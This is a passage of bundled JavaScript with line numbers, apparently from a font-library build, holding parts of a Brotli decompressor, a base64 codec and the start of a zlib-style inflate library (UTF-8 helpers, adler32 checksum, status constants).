13650 while (len < MAX_LENGTH) {
13651 left -= count[len];
13652 if (left <= 0) break;
13653 ++len;
13654 left <<= 1;
13655 }
13656 return len - root_bits;
13657 }
13658 exports2.BrotliBuildHuffmanTable = function(root_table, table, root_bits, code_lengths, code_lengths_size) {
13659 var start_table = table;
13660 var code;
13661 var len;
13662 var symbol3;
13663 var key;
13664 var step;
13665 var low;
13666 var mask;
13667 var table_bits;
13668 var table_size;
13669 var total_size;
13670 var sorted;
13671 var count = new Int32Array(
13672 MAX_LENGTH + 1
13673 );
13674 var offset = new Int32Array(
13675 MAX_LENGTH + 1
13676 );
13677 sorted = new Int32Array(code_lengths_size);
13678 for (symbol3 = 0; symbol3 < code_lengths_size; symbol3++) {
13679 count[code_lengths[symbol3]]++;
13680 }
13681 offset[1] = 0;
13682 for (len = 1; len < MAX_LENGTH; len++) {
13683 offset[len + 1] = offset[len] + count[len];
13684 }
13685 for (symbol3 = 0; symbol3 < code_lengths_size; symbol3++) {
13686 if (code_lengths[symbol3] !== 0) {
13687 sorted[offset[code_lengths[symbol3]]++] = symbol3;
13688 }
13689 }
13690 table_bits = root_bits;
13691 table_size = 1 << table_bits;
13692 total_size = table_size;
13693 if (offset[MAX_LENGTH] === 1) {
13694 for (key = 0; key < total_size; ++key) {
13695 root_table[table + key] = new HuffmanCode(
13696 0,
13697 sorted[0] & 65535
13698 );
13699 }
13700 return total_size;
13701 }
13702 key = 0;
13703 symbol3 = 0;
13704 for (len = 1, step = 2; len <= root_bits; ++len, step <<= 1) {
13705 for (; count[len] > 0; --count[len]) {
13706 code = new HuffmanCode(
13707 len & 255,
13708 sorted[symbol3++] & 65535
13709 );
13710 ReplicateValue(
13711 root_table,
13712 table + key,
13713 step,
13714 table_size,
13715 code
13716 );
13717 key = GetNextKey(key, len);
13718 }
13719 }
13720 mask = total_size - 1;
13721 low = -1;
13722 for (len = root_bits + 1, step = 2; len <= MAX_LENGTH; ++len, step <<= 1) {
13723 for (; count[len] > 0; --count[len]) {
13724 if ((key & mask) !== low) {
13725 table += table_size;
13726 table_bits = NextTableBitSize(
13727 count,
13728 len,
13729 root_bits
13730 );
13731 table_size = 1 << table_bits;
13732 total_size += table_size;
13733 low = key & mask;
13734 root_table[start_table + low] = new HuffmanCode(
13735 table_bits + root_bits & 255,
13736 table - start_table - low & 65535
13737 );
13738 }
13739 code = new HuffmanCode(
13740 len - root_bits & 255,
13741 sorted[symbol3++] & 65535
13742 );
13743 ReplicateValue(
13744 root_table,
13745 table + (key >> root_bits),
13746 step,
13747 table_size,
13748 code
13749 );
13750 key = GetNextKey(key, len);
13751 }
13752 }
13753 return total_size;
13754 };
13755 },
13756 {}
13757 ],
13758 8: [
13759 function(require2, module2, exports2) {
13760 "use strict";
13761 exports2.byteLength = byteLength;
13762 exports2.toByteArray = toByteArray;
13763 exports2.fromByteArray = fromByteArray;
13764 var lookup = [];
13765 var revLookup = [];
13766 var Arr = typeof Uint8Array !== "undefined" ? Uint8Array : Array;
13767 var code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
13768 for (var i2 = 0, len = code.length; i2 < len; ++i2) {
13769 lookup[i2] = code[i2];
13770 revLookup[code.charCodeAt(i2)] = i2;
13771 }
13772 revLookup["-".charCodeAt(0)] = 62;
13773 revLookup["_".charCodeAt(0)] = 63;
13774 function getLens(b64) {
13775 var len2 = b64.length;
13776 if (len2 % 4 > 0) {
13777 throw new Error(
13778 "Invalid string. Length must be a multiple of 4"
13779 );
13780 }
13781 var validLen = b64.indexOf("=");
13782 if (validLen === -1) validLen = len2;
13783 var placeHoldersLen = validLen === len2 ? 0 : 4 - validLen % 4;
13784 return [validLen, placeHoldersLen];
13785 }
13786 function byteLength(b64) {
13787 var lens = getLens(b64);
13788 var validLen = lens[0];
13789 var placeHoldersLen = lens[1];
13790 return (validLen + placeHoldersLen) * 3 / 4 - placeHoldersLen;
13791 }
13792 function _byteLength(b64, validLen, placeHoldersLen) {
13793 return (validLen + placeHoldersLen) * 3 / 4 - placeHoldersLen;
13794 }
13795 function toByteArray(b64) {
13796 var tmp;
13797 var lens = getLens(b64);
13798 var validLen = lens[0];
13799 var placeHoldersLen = lens[1];
13800 var arr = new Arr(
13801 _byteLength(b64, validLen, placeHoldersLen)
13802 );
13803 var curByte = 0;
13804 var len2 = placeHoldersLen > 0 ? validLen - 4 : validLen;
13805 for (var i22 = 0; i22 < len2; i22 += 4) {
13806 tmp = revLookup[b64.charCodeAt(i22)] << 18 | revLookup[b64.charCodeAt(i22 + 1)] << 12 | revLookup[b64.charCodeAt(i22 + 2)] << 6 | revLookup[b64.charCodeAt(i22 + 3)];
13807 arr[curByte++] = tmp >> 16 & 255;
13808 arr[curByte++] = tmp >> 8 & 255;
13809 arr[curByte++] = tmp & 255;
13810 }
13811 if (placeHoldersLen === 2) {
13812 tmp = revLookup[b64.charCodeAt(i22)] << 2 | revLookup[b64.charCodeAt(i22 + 1)] >> 4;
13813 arr[curByte++] = tmp & 255;
13814 }
13815 if (placeHoldersLen === 1) {
13816 tmp = revLookup[b64.charCodeAt(i22)] << 10 | revLookup[b64.charCodeAt(i22 + 1)] << 4 | revLookup[b64.charCodeAt(i22 + 2)] >> 2;
13817 arr[curByte++] = tmp >> 8 & 255;
13818 arr[curByte++] = tmp & 255;
13819 }
13820 return arr;
13821 }
13822 function tripletToBase64(num) {
13823 return lookup[num >> 18 & 63] + lookup[num >> 12 & 63] + lookup[num >> 6 & 63] + lookup[num & 63];
13824 }
13825 function encodeChunk(uint8, start2, end) {
13826 var tmp;
13827 var output = [];
13828 for (var i22 = start2; i22 < end; i22 += 3) {
13829 tmp = (uint8[i22] << 16 & 16711680) + (uint8[i22 + 1] << 8 & 65280) + (uint8[i22 + 2] & 255);
13830 output.push(tripletToBase64(tmp));
13831 }
13832 return output.join("");
13833 }
13834 function fromByteArray(uint8) {
13835 var tmp;
13836 var len2 = uint8.length;
13837 var extraBytes = len2 % 3;
13838 var parts = [];
13839 var maxChunkLength = 16383;
13840 for (var i22 = 0, len22 = len2 - extraBytes; i22 < len22; i22 += maxChunkLength) {
13841 parts.push(
13842 encodeChunk(
13843 uint8,
13844 i22,
13845 i22 + maxChunkLength > len22 ? len22 : i22 + maxChunkLength
13846 )
13847 );
13848 }
13849 if (extraBytes === 1) {
13850 tmp = uint8[len2 - 1];
13851 parts.push(
13852 lookup[tmp >> 2] + lookup[tmp << 4 & 63] + "=="
13853 );
13854 } else if (extraBytes === 2) {
13855 tmp = (uint8[len2 - 2] << 8) + uint8[len2 - 1];
13856 parts.push(
13857 lookup[tmp >> 10] + lookup[tmp >> 4 & 63] + lookup[tmp << 2 & 63] + "="
13858 );
13859 }
13860 return parts.join("");
13861 }
13862 },
13863 {}
13864 ],
13865 9: [
13866 function(require2, module2, exports2) {
13867 function PrefixCodeRange(offset, nbits) {
13868 this.offset = offset;
13869 this.nbits = nbits;
13870 }
13871 exports2.kBlockLengthPrefixCode = [
13872 new PrefixCodeRange(1, 2),
13873 new PrefixCodeRange(5, 2),
13874 new PrefixCodeRange(9, 2),
13875 new PrefixCodeRange(13, 2),
13876 new PrefixCodeRange(17, 3),
13877 new PrefixCodeRange(25, 3),
13878 new PrefixCodeRange(33, 3),
13879 new PrefixCodeRange(41, 3),
13880 new PrefixCodeRange(49, 4),
13881 new PrefixCodeRange(65, 4),
13882 new PrefixCodeRange(81, 4),
13883 new PrefixCodeRange(97, 4),
13884 new PrefixCodeRange(113, 5),
13885 new PrefixCodeRange(145, 5),
13886 new PrefixCodeRange(177, 5),
13887 new PrefixCodeRange(209, 5),
13888 new PrefixCodeRange(241, 6),
13889 new PrefixCodeRange(305, 6),
13890 new PrefixCodeRange(369, 7),
13891 new PrefixCodeRange(497, 8),
13892 new PrefixCodeRange(753, 9),
13893 new PrefixCodeRange(1265, 10),
13894 new PrefixCodeRange(2289, 11),
13895 new PrefixCodeRange(4337, 12),
13896 new PrefixCodeRange(8433, 13),
13897 new PrefixCodeRange(16625, 24)
13898 ];
13899 exports2.kInsertLengthPrefixCode = [
13900 new PrefixCodeRange(0, 0),
13901 new PrefixCodeRange(1, 0),
13902 new PrefixCodeRange(2, 0),
13903 new PrefixCodeRange(3, 0),
13904 new PrefixCodeRange(4, 0),
13905 new PrefixCodeRange(5, 0),
13906 new PrefixCodeRange(6, 1),
13907 new PrefixCodeRange(8, 1),
13908 new PrefixCodeRange(10, 2),
13909 new PrefixCodeRange(14, 2),
13910 new PrefixCodeRange(18, 3),
13911 new PrefixCodeRange(26, 3),
13912 new PrefixCodeRange(34, 4),
13913 new PrefixCodeRange(50, 4),
13914 new PrefixCodeRange(66, 5),
13915 new PrefixCodeRange(98, 5),
13916 new PrefixCodeRange(130, 6),
13917 new PrefixCodeRange(194, 7),
13918 new PrefixCodeRange(322, 8),
13919 new PrefixCodeRange(578, 9),
13920 new PrefixCodeRange(1090, 10),
13921 new PrefixCodeRange(2114, 12),
13922 new PrefixCodeRange(6210, 14),
13923 new PrefixCodeRange(22594, 24)
13924 ];
13925 exports2.kCopyLengthPrefixCode = [
13926 new PrefixCodeRange(2, 0),
13927 new PrefixCodeRange(3, 0),
13928 new PrefixCodeRange(4, 0),
13929 new PrefixCodeRange(5, 0),
13930 new PrefixCodeRange(6, 0),
13931 new PrefixCodeRange(7, 0),
13932 new PrefixCodeRange(8, 0),
13933 new PrefixCodeRange(9, 0),
13934 new PrefixCodeRange(10, 1),
13935 new PrefixCodeRange(12, 1),
13936 new PrefixCodeRange(14, 2),
13937 new PrefixCodeRange(18, 2),
13938 new PrefixCodeRange(22, 3),
13939 new PrefixCodeRange(30, 3),
13940 new PrefixCodeRange(38, 4),
13941 new PrefixCodeRange(54, 4),
13942 new PrefixCodeRange(70, 5),
13943 new PrefixCodeRange(102, 5),
13944 new PrefixCodeRange(134, 6),
13945 new PrefixCodeRange(198, 7),
13946 new PrefixCodeRange(326, 8),
13947 new PrefixCodeRange(582, 9),
13948 new PrefixCodeRange(1094, 10),
13949 new PrefixCodeRange(2118, 24)
13950 ];
13951 exports2.kInsertRangeLut = [0, 0, 8, 8, 0, 16, 8, 16, 16];
13952 exports2.kCopyRangeLut = [0, 8, 0, 8, 16, 0, 16, 8, 16];
13953 },
13954 {}
13955 ],
13956 10: [
13957 function(require2, module2, exports2) {
13958 function BrotliInput(buffer) {
13959 this.buffer = buffer;
13960 this.pos = 0;
13961 }
13962 BrotliInput.prototype.read = function(buf, i2, count) {
13963 if (this.pos + count > this.buffer.length) {
13964 count = this.buffer.length - this.pos;
13965 }
13966 for (var p3 = 0; p3 < count; p3++)
13967 buf[i2 + p3] = this.buffer[this.pos + p3];
13968 this.pos += count;
13969 return count;
13970 };
13971 exports2.BrotliInput = BrotliInput;
13972 function BrotliOutput(buf) {
13973 this.buffer = buf;
13974 this.pos = 0;
13975 }
13976 BrotliOutput.prototype.write = function(buf, count) {
13977 if (this.pos + count > this.buffer.length)
13978 throw new Error(
13979 "Output buffer is not large enough"
13980 );
13981 this.buffer.set(buf.subarray(0, count), this.pos);
13982 this.pos += count;
13983 return count;
13984 };
13985 exports2.BrotliOutput = BrotliOutput;
13986 },
13987 {}
13988 ],
13989 11: [
13990 function(require2, module2, exports2) {
13991 var BrotliDictionary = require2("./dictionary");
13992 var kIdentity = 0;
13993 var kOmitLast1 = 1;
13994 var kOmitLast2 = 2;
13995 var kOmitLast3 = 3;
13996 var kOmitLast4 = 4;
13997 var kOmitLast5 = 5;
13998 var kOmitLast6 = 6;
13999 var kOmitLast7 = 7;
14000 var kOmitLast8 = 8;
14001 var kOmitLast9 = 9;
14002 var kUppercaseFirst = 10;
14003 var kUppercaseAll = 11;
14004 var kOmitFirst1 = 12;
14005 var kOmitFirst2 = 13;
14006 var kOmitFirst3 = 14;
14007 var kOmitFirst4 = 15;
14008 var kOmitFirst5 = 16;
14009 var kOmitFirst6 = 17;
14010 var kOmitFirst7 = 18;
14011 var kOmitFirst8 = 19;
14012 var kOmitFirst9 = 20;
14013 function Transform(prefix2, transform, suffix) {
14014 this.prefix = new Uint8Array(prefix2.length);
14015 this.transform = transform;
14016 this.suffix = new Uint8Array(suffix.length);
14017 for (var i2 = 0; i2 < prefix2.length; i2++)
14018 this.prefix[i2] = prefix2.charCodeAt(i2);
14019 for (var i2 = 0; i2 < suffix.length; i2++)
14020 this.suffix[i2] = suffix.charCodeAt(i2);
14021 }
14022 var kTransforms = [
14023 new Transform("", kIdentity, ""),
14024 new Transform("", kIdentity, " "),
14025 new Transform(" ", kIdentity, " "),
14026 new Transform("", kOmitFirst1, ""),
14027 new Transform("", kUppercaseFirst, " "),
14028 new Transform("", kIdentity, " the "),
14029 new Transform(" ", kIdentity, ""),
14030 new Transform("s ", kIdentity, " "),
14031 new Transform("", kIdentity, " of "),
14032 new Transform("", kUppercaseFirst, ""),
14033 new Transform("", kIdentity, " and "),
14034 new Transform("", kOmitFirst2, ""),
14035 new Transform("", kOmitLast1, ""),
14036 new Transform(", ", kIdentity, " "),
14037 new Transform("", kIdentity, ", "),
14038 new Transform(" ", kUppercaseFirst, " "),
14039 new Transform("", kIdentity, " in "),
14040 new Transform("", kIdentity, " to "),
14041 new Transform("e ", kIdentity, " "),
14042 new Transform("", kIdentity, '"'),
14043 new Transform("", kIdentity, "."),
14044 new Transform("", kIdentity, '">'),
14045 new Transform("", kIdentity, "\n"),
14046 new Transform("", kOmitLast3, ""),
14047 new Transform("", kIdentity, "]"),
14048 new Transform("", kIdentity, " for "),
14049 new Transform("", kOmitFirst3, ""),
14050 new Transform("", kOmitLast2, ""),
14051 new Transform("", kIdentity, " a "),
14052 new Transform("", kIdentity, " that "),
14053 new Transform(" ", kUppercaseFirst, ""),
14054 new Transform("", kIdentity, ". "),
14055 new Transform(".", kIdentity, ""),
14056 new Transform(" ", kIdentity, ", "),
14057 new Transform("", kOmitFirst4, ""),
14058 new Transform("", kIdentity, " with "),
14059 new Transform("", kIdentity, "'"),
14060 new Transform("", kIdentity, " from "),
14061 new Transform("", kIdentity, " by "),
14062 new Transform("", kOmitFirst5, ""),
14063 new Transform("", kOmitFirst6, ""),
14064 new Transform(" the ", kIdentity, ""),
14065 new Transform("", kOmitLast4, ""),
14066 new Transform("", kIdentity, ". The "),
14067 new Transform("", kUppercaseAll, ""),
14068 new Transform("", kIdentity, " on "),
14069 new Transform("", kIdentity, " as "),
14070 new Transform("", kIdentity, " is "),
14071 new Transform("", kOmitLast7, ""),
14072 new Transform("", kOmitLast1, "ing "),
14073 new Transform("", kIdentity, "\n "),
14074 new Transform("", kIdentity, ":"),
14075 new Transform(" ", kIdentity, ". "),
14076 new Transform("", kIdentity, "ed "),
14077 new Transform("", kOmitFirst9, ""),
14078 new Transform("", kOmitFirst7, ""),
14079 new Transform("", kOmitLast6, ""),
14080 new Transform("", kIdentity, "("),
14081 new Transform("", kUppercaseFirst, ", "),
14082 new Transform("", kOmitLast8, ""),
14083 new Transform("", kIdentity, " at "),
14084 new Transform("", kIdentity, "ly "),
14085 new Transform(" the ", kIdentity, " of "),
14086 new Transform("", kOmitLast5, ""),
14087 new Transform("", kOmitLast9, ""),
14088 new Transform(" ", kUppercaseFirst, ", "),
14089 new Transform("", kUppercaseFirst, '"'),
14090 new Transform(".", kIdentity, "("),
14091 new Transform("", kUppercaseAll, " "),
14092 new Transform("", kUppercaseFirst, '">'),
14093 new Transform("", kIdentity, '="'),
14094 new Transform(" ", kIdentity, "."),
14095 new Transform(".com/", kIdentity, ""),
14096 new Transform(" the ", kIdentity, " of the "),
14097 new Transform("", kUppercaseFirst, "'"),
14098 new Transform("", kIdentity, ". This "),
14099 new Transform("", kIdentity, ","),
14100 new Transform(".", kIdentity, " "),
14101 new Transform("", kUppercaseFirst, "("),
14102 new Transform("", kUppercaseFirst, "."),
14103 new Transform("", kIdentity, " not "),
14104 new Transform(" ", kIdentity, '="'),
14105 new Transform("", kIdentity, "er "),
14106 new Transform(" ", kUppercaseAll, " "),
14107 new Transform("", kIdentity, "al "),
14108 new Transform(" ", kUppercaseAll, ""),
14109 new Transform("", kIdentity, "='"),
14110 new Transform("", kUppercaseAll, '"'),
14111 new Transform("", kUppercaseFirst, ". "),
14112 new Transform(" ", kIdentity, "("),
14113 new Transform("", kIdentity, "ful "),
14114 new Transform(" ", kUppercaseFirst, ". "),
14115 new Transform("", kIdentity, "ive "),
14116 new Transform("", kIdentity, "less "),
14117 new Transform("", kUppercaseAll, "'"),
14118 new Transform("", kIdentity, "est "),
14119 new Transform(" ", kUppercaseFirst, "."),
14120 new Transform("", kUppercaseAll, '">'),
14121 new Transform(" ", kIdentity, "='"),
14122 new Transform("", kUppercaseFirst, ","),
14123 new Transform("", kIdentity, "ize "),
14124 new Transform("", kUppercaseAll, "."),
14125 new Transform("\xC2\xA0", kIdentity, ""),
14126 new Transform(" ", kIdentity, ","),
14127 new Transform("", kUppercaseFirst, '="'),
14128 new Transform("", kUppercaseAll, '="'),
14129 new Transform("", kIdentity, "ous "),
14130 new Transform("", kUppercaseAll, ", "),
14131 new Transform("", kUppercaseFirst, "='"),
14132 new Transform(" ", kUppercaseFirst, ","),
14133 new Transform(" ", kUppercaseAll, '="'),
14134 new Transform(" ", kUppercaseAll, ", "),
14135 new Transform("", kUppercaseAll, ","),
14136 new Transform("", kUppercaseAll, "("),
14137 new Transform("", kUppercaseAll, ". "),
14138 new Transform(" ", kUppercaseAll, "."),
14139 new Transform("", kUppercaseAll, "='"),
14140 new Transform(" ", kUppercaseAll, ". "),
14141 new Transform(" ", kUppercaseFirst, '="'),
14142 new Transform(" ", kUppercaseAll, "='"),
14143 new Transform(" ", kUppercaseFirst, "='")
14144 ];
14145 exports2.kTransforms = kTransforms;
14146 exports2.kNumTransforms = kTransforms.length;
14147 function ToUpperCase(p3, i2) {
14148 if (p3[i2] < 192) {
14149 if (p3[i2] >= 97 && p3[i2] <= 122) {
14150 p3[i2] ^= 32;
14151 }
14152 return 1;
14153 }
14154 if (p3[i2] < 224) {
14155 p3[i2 + 1] ^= 32;
14156 return 2;
14157 }
14158 p3[i2 + 2] ^= 5;
14159 return 3;
14160 }
14161 exports2.transformDictionaryWord = function(dst, idx, word, len, transform) {
14162 var prefix2 = kTransforms[transform].prefix;
14163 var suffix = kTransforms[transform].suffix;
14164 var t3 = kTransforms[transform].transform;
14165 var skip = t3 < kOmitFirst1 ? 0 : t3 - (kOmitFirst1 - 1);
14166 var i2 = 0;
14167 var start_idx = idx;
14168 var uppercase;
14169 if (skip > len) {
14170 skip = len;
14171 }
14172 var prefix_pos = 0;
14173 while (prefix_pos < prefix2.length) {
14174 dst[idx++] = prefix2[prefix_pos++];
14175 }
14176 word += skip;
14177 len -= skip;
14178 if (t3 <= kOmitLast9) {
14179 len -= t3;
14180 }
14181 for (i2 = 0; i2 < len; i2++) {
14182 dst[idx++] = BrotliDictionary.dictionary[word + i2];
14183 }
14184 uppercase = idx - len;
14185 if (t3 === kUppercaseFirst) {
14186 ToUpperCase(dst, uppercase);
14187 } else if (t3 === kUppercaseAll) {
14188 while (len > 0) {
14189 var step = ToUpperCase(dst, uppercase);
14190 uppercase += step;
14191 len -= step;
14192 }
14193 }
14194 var suffix_pos = 0;
14195 while (suffix_pos < suffix.length) {
14196 dst[idx++] = suffix[suffix_pos++];
14197 }
14198 return idx - start_idx;
14199 };
14200 },
14201 { "./dictionary": 6 }
14202 ],
14203 12: [
14204 function(require2, module2, exports2) {
14205 module2.exports = require2("./dec/decode").BrotliDecompressBuffer;
14206 },
14207 { "./dec/decode": 3 }
14208 ]
14209 },
14210 {},
14211 [12]
14212 )(12);
14213 })();
14214
14215 // packages/global-styles-ui/build-module/font-library/lib/inflate.mjs
14216 var __require3 = /* @__PURE__ */ ((x2) => typeof __require !== "undefined" ? __require : typeof Proxy !== "undefined" ? new Proxy(x2, {
14217 get: (a2, b2) => (typeof __require !== "undefined" ? __require : a2)[b2]
14218 }) : x2)(function(x2) {
14219 if (typeof __require !== "undefined") return __require.apply(this, arguments);
14220 throw Error('Dynamic require of "' + x2 + '" is not supported');
14221 });
14222 var inflate_default = (function() {
14223 var define, module, exports;
14224 return (/* @__PURE__ */ (function() {
14225 function r3(e2, n2, t3) {
14226 function o3(i22, f2) {
14227 if (!n2[i22]) {
14228 if (!e2[i22]) {
14229 var c6 = "function" == typeof __require3 && __require3;
14230 if (!f2 && c6) return c6(i22, true);
14231 if (u2) return u2(i22, true);
14232 var a2 = new Error("Cannot find module '" + i22 + "'");
14233 throw a2.code = "MODULE_NOT_FOUND", a2;
14234 }
14235 var p3 = n2[i22] = { exports: {} };
14236 e2[i22][0].call(
14237 p3.exports,
14238 function(r22) {
14239 var n22 = e2[i22][1][r22];
14240 return o3(n22 || r22);
14241 },
14242 p3,
14243 p3.exports,
14244 r3,
14245 e2,
14246 n2,
14247 t3
14248 );
14249 }
14250 return n2[i22].exports;
14251 }
14252 for (var u2 = "function" == typeof __require3 && __require3, i2 = 0; i2 < t3.length; i2++)
14253 o3(t3[i2]);
14254 return o3;
14255 }
14256 return r3;
14257 })())(
14258 {
14259 1: [
14260 function(require2, module2, exports2) {
14261 "use strict";
14262 var TYPED_OK = typeof Uint8Array !== "undefined" && typeof Uint16Array !== "undefined" && typeof Int32Array !== "undefined";
14263 function _has(obj, key) {
14264 return Object.prototype.hasOwnProperty.call(obj, key);
14265 }
14266 exports2.assign = function(obj) {
14267 var sources = Array.prototype.slice.call(
14268 arguments,
14269 1
14270 );
14271 while (sources.length) {
14272 var source = sources.shift();
14273 if (!source) {
14274 continue;
14275 }
14276 if (typeof source !== "object") {
14277 throw new TypeError(
14278 source + "must be non-object"
14279 );
14280 }
14281 for (var p3 in source) {
14282 if (_has(source, p3)) {
14283 obj[p3] = source[p3];
14284 }
14285 }
14286 }
14287 return obj;
14288 };
14289 exports2.shrinkBuf = function(buf, size) {
14290 if (buf.length === size) {
14291 return buf;
14292 }
14293 if (buf.subarray) {
14294 return buf.subarray(0, size);
14295 }
14296 buf.length = size;
14297 return buf;
14298 };
14299 var fnTyped = {
14300 arraySet: function(dest, src, src_offs, len, dest_offs) {
14301 if (src.subarray && dest.subarray) {
14302 dest.set(
14303 src.subarray(src_offs, src_offs + len),
14304 dest_offs
14305 );
14306 return;
14307 }
14308 for (var i2 = 0; i2 < len; i2++) {
14309 dest[dest_offs + i2] = src[src_offs + i2];
14310 }
14311 },
14312 // Join array of chunks to single array.
14313 flattenChunks: function(chunks) {
14314 var i2, l2, len, pos, chunk2, result;
14315 len = 0;
14316 for (i2 = 0, l2 = chunks.length; i2 < l2; i2++) {
14317 len += chunks[i2].length;
14318 }
14319 result = new Uint8Array(len);
14320 pos = 0;
14321 for (i2 = 0, l2 = chunks.length; i2 < l2; i2++) {
14322 chunk2 = chunks[i2];
14323 result.set(chunk2, pos);
14324 pos += chunk2.length;
14325 }
14326 return result;
14327 }
14328 };
14329 var fnUntyped = {
14330 arraySet: function(dest, src, src_offs, len, dest_offs) {
14331 for (var i2 = 0; i2 < len; i2++) {
14332 dest[dest_offs + i2] = src[src_offs + i2];
14333 }
14334 },
14335 // Join array of chunks to single array.
14336 flattenChunks: function(chunks) {
14337 return [].concat.apply([], chunks);
14338 }
14339 };
14340 exports2.setTyped = function(on) {
14341 if (on) {
14342 exports2.Buf8 = Uint8Array;
14343 exports2.Buf16 = Uint16Array;
14344 exports2.Buf32 = Int32Array;
14345 exports2.assign(exports2, fnTyped);
14346 } else {
14347 exports2.Buf8 = Array;
14348 exports2.Buf16 = Array;
14349 exports2.Buf32 = Array;
14350 exports2.assign(exports2, fnUntyped);
14351 }
14352 };
14353 exports2.setTyped(TYPED_OK);
14354 },
14355 {}
14356 ],
14357 2: [
14358 function(require2, module2, exports2) {
14359 "use strict";
14360 var utils = require2("./common");
14361 var STR_APPLY_OK = true;
14362 var STR_APPLY_UIA_OK = true;
14363 try {
14364 String.fromCharCode.apply(null, [0]);
14365 } catch (__150) {
14366 STR_APPLY_OK = false;
14367 }
14368 try {
14369 String.fromCharCode.apply(null, new Uint8Array(1));
14370 } catch (__150) {
14371 STR_APPLY_UIA_OK = false;
14372 }
14373 var _utf8len = new utils.Buf8(256);
14374 for (var q = 0; q < 256; q++) {
14375 _utf8len[q] = q >= 252 ? 6 : q >= 248 ? 5 : q >= 240 ? 4 : q >= 224 ? 3 : q >= 192 ? 2 : 1;
14376 }
14377 _utf8len[254] = _utf8len[254] = 1;
14378 exports2.string2buf = function(str) {
14379 var buf, c6, c22, m_pos, i2, str_len = str.length, buf_len = 0;
14380 for (m_pos = 0; m_pos < str_len; m_pos++) {
14381 c6 = str.charCodeAt(m_pos);
14382 if ((c6 & 64512) === 55296 && m_pos + 1 < str_len) {
14383 c22 = str.charCodeAt(m_pos + 1);
14384 if ((c22 & 64512) === 56320) {
14385 c6 = 65536 + (c6 - 55296 << 10) + (c22 - 56320);
14386 m_pos++;
14387 }
14388 }
14389 buf_len += c6 < 128 ? 1 : c6 < 2048 ? 2 : c6 < 65536 ? 3 : 4;
14390 }
14391 buf = new utils.Buf8(buf_len);
14392 for (i2 = 0, m_pos = 0; i2 < buf_len; m_pos++) {
14393 c6 = str.charCodeAt(m_pos);
14394 if ((c6 & 64512) === 55296 && m_pos + 1 < str_len) {
14395 c22 = str.charCodeAt(m_pos + 1);
14396 if ((c22 & 64512) === 56320) {
14397 c6 = 65536 + (c6 - 55296 << 10) + (c22 - 56320);
14398 m_pos++;
14399 }
14400 }
14401 if (c6 < 128) {
14402 buf[i2++] = c6;
14403 } else if (c6 < 2048) {
14404 buf[i2++] = 192 | c6 >>> 6;
14405 buf[i2++] = 128 | c6 & 63;
14406 } else if (c6 < 65536) {
14407 buf[i2++] = 224 | c6 >>> 12;
14408 buf[i2++] = 128 | c6 >>> 6 & 63;
14409 buf[i2++] = 128 | c6 & 63;
14410 } else {
14411 buf[i2++] = 240 | c6 >>> 18;
14412 buf[i2++] = 128 | c6 >>> 12 & 63;
14413 buf[i2++] = 128 | c6 >>> 6 & 63;
14414 buf[i2++] = 128 | c6 & 63;
14415 }
14416 }
14417 return buf;
14418 };
14419 function buf2binstring(buf, len) {
14420 if (len < 65534) {
14421 if (buf.subarray && STR_APPLY_UIA_OK || !buf.subarray && STR_APPLY_OK) {
14422 return String.fromCharCode.apply(
14423 null,
14424 utils.shrinkBuf(buf, len)
14425 );
14426 }
14427 }
14428 var result = "";
14429 for (var i2 = 0; i2 < len; i2++) {
14430 result += String.fromCharCode(buf[i2]);
14431 }
14432 return result;
14433 }
14434 exports2.buf2binstring = function(buf) {
14435 return buf2binstring(buf, buf.length);
14436 };
14437 exports2.binstring2buf = function(str) {
14438 var buf = new utils.Buf8(str.length);
14439 for (var i2 = 0, len = buf.length; i2 < len; i2++) {
14440 buf[i2] = str.charCodeAt(i2);
14441 }
14442 return buf;
14443 };
14444 exports2.buf2string = function(buf, max) {
14445 var i2, out, c6, c_len;
14446 var len = max || buf.length;
14447 var utf16buf = new Array(len * 2);
14448 for (out = 0, i2 = 0; i2 < len; ) {
14449 c6 = buf[i2++];
14450 if (c6 < 128) {
14451 utf16buf[out++] = c6;
14452 continue;
14453 }
14454 c_len = _utf8len[c6];
14455 if (c_len > 4) {
14456 utf16buf[out++] = 65533;
14457 i2 += c_len - 1;
14458 continue;
14459 }
14460 c6 &= c_len === 2 ? 31 : c_len === 3 ? 15 : 7;
14461 while (c_len > 1 && i2 < len) {
14462 c6 = c6 << 6 | buf[i2++] & 63;
14463 c_len--;
14464 }
14465 if (c_len > 1) {
14466 utf16buf[out++] = 65533;
14467 continue;
14468 }
14469 if (c6 < 65536) {
14470 utf16buf[out++] = c6;
14471 } else {
14472 c6 -= 65536;
14473 utf16buf[out++] = 55296 | c6 >> 10 & 1023;
14474 utf16buf[out++] = 56320 | c6 & 1023;
14475 }
14476 }
14477 return buf2binstring(utf16buf, out);
14478 };
14479 exports2.utf8border = function(buf, max) {
14480 var pos;
14481 max = max || buf.length;
14482 if (max > buf.length) {
14483 max = buf.length;
14484 }
14485 pos = max - 1;
14486 while (pos >= 0 && (buf[pos] & 192) === 128) {
14487 pos--;
14488 }
14489 if (pos < 0) {
14490 return max;
14491 }
14492 if (pos === 0) {
14493 return max;
14494 }
14495 return pos + _utf8len[buf[pos]] > max ? pos : max;
14496 };
14497 },
14498 { "./common": 1 }
14499 ],
14500 3: [
14501 function(require2, module2, exports2) {
14502 "use strict";
14503 function adler32(adler, buf, len, pos) {
14504 var s1 = adler & 65535 | 0, s2 = adler >>> 16 & 65535 | 0, n2 = 0;
14505 while (len !== 0) {
14506 n2 = len > 2e3 ? 2e3 : len;
14507 len -= n2;
14508 do {
14509 s1 = s1 + buf[pos++] | 0;
14510 s2 = s2 + s1 | 0;
14511 } while (--n2);
14512 s1 %= 65521;
14513 s2 %= 65521;
14514 }
14515 return s1 | s2 << 16 | 0;
14516 }
14517 module2.exports = adler32;
14518 },
14519 {}
14520 ],
14521 4: [
14522 function(require2, module2, exports2) {
14523 "use strict";
14524 module2.exports = {
14525 /* Allowed flush values; see deflate() and inflate() below for details */
14526 Z_NO_FLUSH: 0,
14527 Z_PARTIAL_FLUSH: 1,
14528 Z_SYNC_FLUSH: 2,
14529 Z_FULL_FLUSH: 3,
14530 Z_FINISH: 4,
14531 Z_BLOCK: 5,
14532 Z_TREES: 6,
14533 /* Return codes for the compression/decompression functions. Negative values
14534 * are errors, positive values are used for special but normal events.
14535 */
14536 Z_OK: 0,
14537 Z_STREAM_END: 1,
14538 Z_NEED_DICT: 2,
14539 Z_ERRNO: -1,
14540 Z_STREAM_ERROR: -2,
14541 Z_DATA_ERROR: -3,
14542 //Z_MEM_ERROR: -4,
14543 Z_BUF_ERROR: -5,
